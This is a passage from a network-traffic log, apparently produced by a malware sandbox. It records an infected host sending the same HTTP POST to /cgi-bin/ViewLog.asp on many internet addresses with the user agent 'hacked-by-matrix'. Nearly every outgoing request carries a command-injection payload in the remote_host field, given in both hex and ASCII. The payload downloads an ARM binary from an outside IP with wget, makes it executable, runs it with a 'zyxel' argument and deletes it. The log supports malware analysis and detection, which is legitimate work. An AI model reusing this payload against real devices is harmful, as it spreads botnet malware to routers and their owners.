Permanently</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:22:50.190442085 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:22:50 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:22:50.538328886 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:22:50 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
664	192.168.2.13	48060	82.198.214.98	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:48.186037064 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:48.376257896 CET	395	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Thu, 21 Mar 2024 04:22:48 GMT Content-Type: text/html Content-Length: 178 Connection: keep-alive Location: https://127.0.0.1/cgi-bin/ViewLog.asp Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:22:48.376322985 CET	323	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:22:48 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
665	192.168.2.13	40922	213.168.80.180	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:48.186353922 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:51.308985949 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
666	192.168.2.13	55994	86.43.114.123	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:48.191395998 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:48.376506090 CET	399	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:22:52 GMT Server: Webs X-Frame-Options: SAMEORIGIN Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
667	192.168.2.13	33200	82.165.121.225	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:48.191495895 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:48.376688957 CET	323	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Thu, 21 Mar 2024 04:22:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Content-Encoding: gzip Data Raw: 37 32 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 fa 86 7a 86 16 7a 06 c8 4a f4 61 86 ea 43 1d 04 00 cb e6 d9 01 99 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 72(HML),I310Q/Qp/K&T$dCAfAyyyzzJaC0
Mar 21, 2024 05:22:48.376729965 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Thu, 21 Mar 2024 04:22:48 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
668	192.168.2.13	38050	80.243.217.246	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:48.196652889 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:49.169620037 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:50.287372112 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:52.591308117 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:57.197454929 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:06.162122965 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:24.592242956 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
669	192.168.2.13	43650	213.59.197.123	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:48.227291107 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:48.451994896 CET	114	IN	HTTP/1.1 307 Moved Temporarily Location: https://127.0.0.1/cgi-bin/ViewLog.asp Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
670	192.168.2.13	41916	83.66.147.116	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:48.227397919 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: 